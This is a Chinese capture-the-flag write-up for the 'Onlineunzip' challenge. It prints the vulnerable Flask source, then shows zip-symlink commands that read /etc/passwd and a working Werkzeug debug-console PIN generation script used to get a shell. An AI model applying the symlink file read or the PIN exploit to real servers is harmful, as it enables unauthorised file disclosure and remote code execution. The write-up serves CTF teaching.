题目列表
Onlineunzip
题目考点
- zip软链接读取任意文件
- debug模式下利用PIN码getshell
题目附件下载地址:https://pan.baidu.com/s/1ADTHxLKGjHmj0tBhub8qhQ
密码:GAME
题目的代码如下:
import os
import re
from hashlib import md5
from flask import Flask, redirect, request, render_template, url_for, make_response
app=Flask(__name__)
def extractFile(filepath):
extractdir=filepath.split('.')[0]
if not os.path.exists(extractdir):
os.makedirs(extractdir)
os.system(f'unzip -o {filepath} -d {extractdir}')
return redirect(url_for('display',extractdir=extractdir))
@app.route('/', methods=['GET'])
def index():
return render_template('index.html')
@app.route('/display', methods=['GET'])
@app.route('/display/', methods=['GET'])
@app.route('/display/<path:extractdir>', methods=['GET'])
def display(extractdir=''):
if re.search(r"\.\.", extractdir, re.M | re.I) != None:
return "Hacker?"
else:
if not os.path.exists(extractdir):
return make_response("error", 404)
else:
if not os.path.isdir(extractdir):
f = open(extractdir, 'rb')
response = make_response(f.read())
response.headers['Content-Type'] = 'application/octet-stream'
return response
else:
fn = os.listdir(extractdir)
fn = [".."] + fn
f = open("templates/template.html")
x = f.read()
f.close()
ret = "<h1>文件列表:</h1><br><hr>"
for i in fn:
tpath = os.path.join('/display', extractdir, i)
ret += "<a href='" + tpath + "'>" + i + "</a><br>"
x = x.replace("HTMLTEXT", ret)
return x
@app.route('/upload', methods=['GET', 'POST'])
def upload():
ip = request.remote_addr
uploadpath = 'uploads/' + md5(ip.encode()).hexdigest()[0:4]
if not os.path.exists(uploadpath):
os.makedirs(uploadpath)
if request.method == 'GET':
return redirect('/')
if request.method == 'POST':
try:
upFile = request.files['file']
print(upFile.filename)
if os.path.splitext(upFile.filename)[-1]=='.zip':
filepath=f"{uploadpath}/{md5(upFile.filename.encode()).hexdigest()[0:4]}.zip"
upFile.save(filepath)
zipDatas = extractFile(filepath)
return zipDatas
else:
return f"{upFile.filename} is not a zip file !"
except:
return make_response("error", 404)
if __name__ == '__main__':
app.run(host='0.0.0.0', port=8000, debug=True)
从代码中可以看出,这个flask应用的功能是上传可以一个zip文件,然后解压该文件并展示压缩包中的内容。压缩包中的内容解压以后可以被下载到。
因此可以制作软链接文件,并进行打包。使用到的命令如下:
ln -s /etc/passwd etc
zip -y 1.zip etc
上传zip文件后可以顺利的读取到/etc/passwd的内容,但是没办法得到flag。
注意下面的代码,debug=True,这意味着flask的控制台是开启状态的。访问/console可以发现控制台。
if __name__ == '__main__':
app.run(host='0.0.0.0', port=8000, debug=True)
进入控制台需要输入正确的PIN码,构造PIN码的方法有很多,不过要注意生成PIN码需要一些变量。
1.username # 用户名,可以从/etc/passwd或/proc/self/environ中获得
2.modname # flask.app,一般不变
3.getattr(app, '__name__', getattr(app.__class__, '__name__')) # Flask,一般不变
4.getattr(mod, '__file__', None) # flask目录下的一个app.py的绝对路径,可以读取/etc/shadow触发权限不够的异常来获得
5.uuid.getnode() # mac地址,需要十进制
6.get_machine_id() # 机器码,本题最大坑点,Python3.8生成PIN码的方式发生了一些变化,需要注意
生成PIN码的exp如下:
import hashlib
from itertools import chain
probably_public_bits = [
'ctf',# username
'flask.app',# modname
'Flask',# getattr(app, '__name__', getattr(app.__class__, '__name__'))
'/usr/local/lib/python3.8/site-packages/flask/app.py' # getattr(mod, '__file__', None),
]
private_bits = [
'95532893486', # str(uuid.getnode()), /sys/class/net/ens33/address
'96cec10d3d9307792745ec3b85c8962001713289dd7ceb85715a701d3a28b22859f5eed0017c495b8654bd8eba50af9f' # get_machine_id(), /etc/machine-id
]
h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode("utf-8")
h.update(bit)
h.update(b"cookiesalt")
cookie_name = f"__wzd{h.hexdigest()[:20]}"
# If we need to generate a pin we salt it a bit more so that we don't
# end up with the same value and generate out 9 digits
num = None
if num is None:
h.update(b"pinsalt")
num = f"{int(h.hexdigest(), 16):09d}"[:9]
# Format the pincode in groups of digits for easier remembering if
# we don't have a result yet.
rv = None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = "-".join(
num[x : x + group_size].rjust(group_size, "0")
for x in range(0, len(num), group_size)
)
break
else:
rv = num
print(rv)
利用得到的PIN码进入控制台即可获得flag。
未完待续